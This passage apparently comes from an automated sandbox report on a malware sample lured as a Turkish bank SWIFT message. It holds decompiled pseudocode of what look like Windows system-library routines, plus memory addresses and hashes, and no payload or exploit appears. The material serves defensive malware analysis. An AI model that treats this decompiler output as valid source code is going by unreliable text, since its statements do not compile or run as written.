								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E01292280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L01294620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E012BF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E0128FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x136b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E012BB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}































































                                                                        0x012a5142
                                                                        0x012a514c
                                                                        0x012a5150
                                                                        0x012a5157
                                                                        0x012a5159
                                                                        0x012a515e
                                                                        0x012a5165
                                                                        0x012a5169
                                                                        0x012a516c
                                                                        0x012a5172
                                                                        0x012a5176
                                                                        0x012a517a
                                                                        0x012a517a
                                                                        0x012a517a
                                                                        0x012a517f
                                                                        0x012e6d8b
                                                                        0x012e6d8e
                                                                        0x012e6d91
                                                                        0x012e6d95
                                                                        0x012e6d98
                                                                        0x012e6d9c
                                                                        0x012e6da0
                                                                        0x012e6da3
                                                                        0x012e6da7
                                                                        0x012e6e26
                                                                        0x012e6e26
                                                                        0x012e6e2a
                                                                        0x012a51f9
                                                                        0x012a51f9
                                                                        0x012a51fe
                                                                        0x012e6e33
                                                                        0x012e6e33
                                                                        0x012e6e39
                                                                        0x012e6e3d
                                                                        0x012e6e46
                                                                        0x012e6e50
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6e52
                                                                        0x012e6e53
                                                                        0x012e6e56
                                                                        0x012e6e5d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6e5f
                                                                        0x012e6e67
                                                                        0x012e6e77
                                                                        0x012e6e7f
                                                                        0x012e6e80
                                                                        0x012e6e88
                                                                        0x012e6e90
                                                                        0x012e6e9f
                                                                        0x012e6ea5
                                                                        0x012e6ea9
                                                                        0x012e6eb1
                                                                        0x012e6ebf
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6ecf
                                                                        0x012e6ed3
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6edb
                                                                        0x012e6ede
                                                                        0x012e6ee1
                                                                        0x012e6ee8
                                                                        0x012e6eeb
                                                                        0x012e6eed
                                                                        0x012e6ef0
                                                                        0x012e6ef4
                                                                        0x012e6ef8
                                                                        0x012e6efc
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6f0d
                                                                        0x012e6f11
                                                                        0x012e6f32
                                                                        0x012e6f37
                                                                        0x012e6f3b
                                                                        0x012e6f3e
                                                                        0x012e6f41
                                                                        0x012e6f46
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e6f4c
                                                                        0x012e6f50
                                                                        0x012e6f50
                                                                        0x012e6f54
                                                                        0x012e6f62
                                                                        0x012e6f65
                                                                        0x012e6f6d
                                                                        0x012e6f7b
                                                                        0x012e6f7b
                                                                        0x012e6f93
                                                                        0x012e6f98
                                                                        0x012e6fa0
                                                                        0x012e6fa6
                                                                        0x012e6fb3
                                                                        0x012e6fb6
                                                                        0x012e6fbf
                                                                        0x012e6fc1
                                                                        0x012e6fd5
                                                                        0x012e6fda
                                                                        0x012e6fda
                                                                        0x012e6fdd
                                                                        0x012e6fe2
                                                                        0x012e6fe7
                                                                        0x012e6feb
                                                                        0x012e6fef
                                                                        0x012e6ff3
                                                                        0x012a520c
                                                                        0x012a520c
                                                                        0x012a520f
                                                                        0x012a5215
                                                                        0x012a5234
                                                                        0x012a523a
                                                                        0x012a523a
                                                                        0x012a5244
                                                                        0x012a5245
                                                                        0x012a5246
                                                                        0x012a5251
                                                                        0x012a5251
                                                                        0x012e6f13
                                                                        0x012e6f17
                                                                        0x012e6f17
                                                                        0x012e6f18
                                                                        0x012e6f1b
                                                                        0x012e6f1f
                                                                        0x012e6f23
                                                                        0x00000000
                                                                        0x012e6f28
                                                                        0x012a5204
                                                                        0x012a5204
                                                                        0x012a5208
                                                                        0x00000000
                                                                        0x012a5208
                                                                        0x012a5185
                                                                        0x012a5188
                                                                        0x012a518a
                                                                        0x012a518e
                                                                        0x012a5195
                                                                        0x012e6db1
                                                                        0x012e6db5
                                                                        0x012e6db9
                                                                        0x012a519b
                                                                        0x012a519b
                                                                        0x012a519e
                                                                        0x012a51a7
                                                                        0x012a51a9
                                                                        0x012a51a9
                                                                        0x012a51b5
                                                                        0x012a51b8
                                                                        0x012a51bb
                                                                        0x012a51be
                                                                        0x012a51c1
                                                                        0x012a51c5
                                                                        0x012a51c9
                                                                        0x012a51cd
                                                                        0x012a51cd
                                                                        0x012a51d8
                                                                        0x012a51dc
                                                                        0x012a51e0
                                                                        0x012e6dcc
                                                                        0x012e6dd0
                                                                        0x012e6dd5
                                                                        0x012e6ddd
                                                                        0x012e6de1
                                                                        0x012e6de1
                                                                        0x012e6de5
                                                                        0x012e6deb
                                                                        0x012e6df1
                                                                        0x012e6df7
                                                                        0x012e6dfd
                                                                        0x012e6e01
                                                                        0x012e6e05
                                                                        0x012e6e09
                                                                        0x012e6e0d
                                                                        0x012e6e11
                                                                        0x012e6e11
                                                                        0x012a51eb
                                                                        0x012e6e1a
                                                                        0x012e6e1f
                                                                        0x012e6e21
                                                                        0x012e6e23
                                                                        0x00000000
                                                                        0x012a51f1
                                                                        0x012a51f1
                                                                        0x00000000
                                                                        0x012a51f1

                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID: DebugPrintTimes
                                                                        • String ID:
                                                                        • API String ID: 3446177414-0
                                                                        • Opcode ID: 04184a340ca2338afd71073c16edcc0113558955bda16cb39c16852504206dd8
                                                                        • Instruction ID: 3c2a19eba0a0be42d76842cf8b19fa6e23e269c8782a712a720a472e4ee01e7b
                                                                        • Opcode Fuzzy Hash: 04184a340ca2338afd71073c16edcc0113558955bda16cb39c16852504206dd8
                                                                        • Instruction Fuzzy Hash: 09C123755183818FD354CF28C580A6AFBF1BF88304F588A6EF9998B392D771E945CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A03E2 Relevance: 1.8, APIs: 1, Instructions: 254COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 74%
                                                                        			E012A03E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x136d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E012A0548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E012BB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E0128B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x1367c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E01297D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E01297D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E012F7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E012B9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E012F69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x1367c04 != 0) {
						_t118 = _v12;
						_t120 = E012FA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x1367bd8;
						if( *0x1367bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E012B95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E012B99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E012F3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E0127B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E012BAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x1368474 - 3;
										if( *0x1368474 != 3) {
											 *0x13679dc =  *0x13679dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E01297D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E01297D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E012F7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x1368708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x1367b00; // 0x0
							asm("ror esi, cl");
							 *0x136b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E012B95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E01287F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}








































                                                                        0x012a03f1
                                                                        0x012a03f7
                                                                        0x012a03f9
                                                                        0x012a03fb
                                                                        0x012a03fd
                                                                        0x012a0400
                                                                        0x012a040a
                                                                        0x012e4c7a
                                                                        0x012a0537
                                                                        0x012a0547
                                                                        0x012a0410
                                                                        0x012a0410
                                                                        0x012a0414
                                                                        0x012a0417
                                                                        0x012a041a
                                                                        0x012a0421
                                                                        0x012a0424
                                                                        0x012a042b
                                                                        0x012a043b
                                                                        0x012a043e
                                                                        0x012a043f
                                                                        0x012a043f
                                                                        0x012a0446
                                                                        0x012a0449
                                                                        0x012a044c
                                                                        0x012a044f
                                                                        0x012a0459
                                                                        0x012e4c8d
                                                                        0x012a045f
                                                                        0x012a045f
                                                                        0x012a045f
                                                                        0x012a0467
                                                                        0x012e4c97
                                                                        0x012e4c9d
                                                                        0x012e4ca4
                                                                        0x012e4caa
                                                                        0x012e4caf
                                                                        0x012e4cb1
                                                                        0x012e4cc3
                                                                        0x012e4cb3
                                                                        0x012e4cbc
                                                                        0x012e4cbc
                                                                        0x012e4cc8
                                                                        0x012e4ccb
                                                                        0x012e4cd7
                                                                        0x012e4cda
                                                                        0x012e4cdf
                                                                        0x012e4cdf
                                                                        0x012e4ccb
                                                                        0x012e4ca4
                                                                        0x012a046d
                                                                        0x012a046f
                                                                        0x012a046f
                                                                        0x012a0471
                                                                        0x012a0476
                                                                        0x012a047a
                                                                        0x012a047b
                                                                        0x012a0483
                                                                        0x012a0489
                                                                        0x012a048d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4ce9
                                                                        0x012e4cef
                                                                        0x012e4d22
                                                                        0x012e4d22
                                                                        0x00000000
                                                                        0x012e4d22
                                                                        0x012e4cf1
                                                                        0x012e4cf7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4cf9
                                                                        0x012e4cff
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d05
                                                                        0x012e4d07
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d0d
                                                                        0x012e4d0f
                                                                        0x012e4d14
                                                                        0x012e4d16
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d1c
                                                                        0x012e4d1c
                                                                        0x012a0499
                                                                        0x012a0535
                                                                        0x012a0535
                                                                        0x00000000
                                                                        0x012a0535
                                                                        0x012a04a6
                                                                        0x012e4d2c
                                                                        0x012e4d37
                                                                        0x012e4d39
                                                                        0x012e4d3b
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d41
                                                                        0x012e4d48
                                                                        0x012a0527
                                                                        0x012a052b
                                                                        0x012a052d
                                                                        0x012a0530
                                                                        0x012a0530
                                                                        0x00000000
                                                                        0x012a052b
                                                                        0x012e4d4e
                                                                        0x012a04ac
                                                                        0x012a04ac
                                                                        0x012a04af
                                                                        0x012a04b2
                                                                        0x012a04b7
                                                                        0x012a04b9
                                                                        0x012a04bb
                                                                        0x012a04bd
                                                                        0x012a04bf
                                                                        0x012a04c5
                                                                        0x012a04c9
                                                                        0x012e4d53
                                                                        0x012e4d59
                                                                        0x012e4db9
                                                                        0x012e4dba
                                                                        0x012e4dbf
                                                                        0x012e4dc2
                                                                        0x012e4dc4
                                                                        0x012e4dc7
                                                                        0x012e4dce
                                                                        0x00000000
                                                                        0x012e4dce
                                                                        0x012e4d5b
                                                                        0x012e4d61
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d63
                                                                        0x012e4d69
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4d6b
                                                                        0x012e4d6e
                                                                        0x012e4d74
                                                                        0x012e4d76
                                                                        0x012e4d7c
                                                                        0x012e4d7e
                                                                        0x012e4d84
                                                                        0x012e4d89
                                                                        0x012e4d8c
                                                                        0x012e4d8d
                                                                        0x012e4d92
                                                                        0x012e4d95
                                                                        0x012e4d96
                                                                        0x012e4d98
                                                                        0x012e4d9a
                                                                        0x012e4d9f
                                                                        0x012e4da4
                                                                        0x012e4da6
                                                                        0x012e4da8
                                                                        0x012e4daf
                                                                        0x012e4db1
                                                                        0x012e4db1
                                                                        0x012e4daf
                                                                        0x012e4da6
                                                                        0x012e4d84
                                                                        0x012e4d7c
                                                                        0x00000000
                                                                        0x012e4d74
                                                                        0x012a04d6
                                                                        0x012e4de1
                                                                        0x012a04dc
                                                                        0x012a04dc
                                                                        0x012a04dc
                                                                        0x012a04e4
                                                                        0x012e4deb
                                                                        0x012e4df1
                                                                        0x012e4df8
                                                                        0x012e4dfe
                                                                        0x012e4e03
                                                                        0x012e4e05
                                                                        0x012e4e17
                                                                        0x012e4e07
                                                                        0x012e4e10
                                                                        0x012e4e10
                                                                        0x012e4e1c
                                                                        0x012e4e1f
                                                                        0x012e4e35
                                                                        0x012e4e35
                                                                        0x012e4e1f
                                                                        0x012e4df8
                                                                        0x012a04f1
                                                                        0x012a04fa
                                                                        0x012e4e3f
                                                                        0x012e4e47
                                                                        0x012e4e5b
                                                                        0x012e4e61
                                                                        0x012e4e67
                                                                        0x012e4e69
                                                                        0x012e4e71
                                                                        0x012e4e73
                                                                        0x012a0500
                                                                        0x012a0500
                                                                        0x012a0500
                                                                        0x012a04fa
                                                                        0x012a0508
                                                                        0x012a051d
                                                                        0x012a051d
                                                                        0x012a051f
                                                                        0x012a0524
                                                                        0x00000000
                                                                        0x012a0524
                                                                        0x012a0515
                                                                        0x012a0517
                                                                        0x012e4e7a
                                                                        0x012e4e7c
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012e4e85
                                                                        0x00000000
                                                                        0x012e4e85
                                                                        0x00000000
                                                                        0x012a0517

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6e84c7c3dc791b0d5236dff96ba25c2bc9f6027cb5b8ad199c00cd65c33a3ba7
                                                                        • Instruction ID: af4ade63589557bbcb92c7c3122554b202b16cd7d3b3b99849db7c3bd6de05de
                                                                        • Opcode Fuzzy Hash: 6e84c7c3dc791b0d5236dff96ba25c2bc9f6027cb5b8ad199c00cd65c33a3ba7
                                                                        • Instruction Fuzzy Hash: A3912431E20256AFEB22AA6CC848BBD7BE4FB05724F450265FB10EB2E1D7749D40C795
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127B171 Relevance: 1.7, APIs: 1, Instructions: 166COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 78%
                                                                        			E0127B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x134f7a8);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E012CD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E012BD000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E012BF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E012CDEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E012BB280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E012BB7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E012BE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E012BA890() != 0) {
					goto L6;
				}
				goto L3;
			}






















                                                                        0x0127b171
                                                                        0x0127b171
                                                                        0x0127b171
                                                                        0x0127b171
                                                                        0x0127b171
                                                                        0x0127b176
                                                                        0x0127b17b
                                                                        0x0127b180
                                                                        0x0127b186
                                                                        0x0127b18f
                                                                        0x0127b198
                                                                        0x0127b1a4
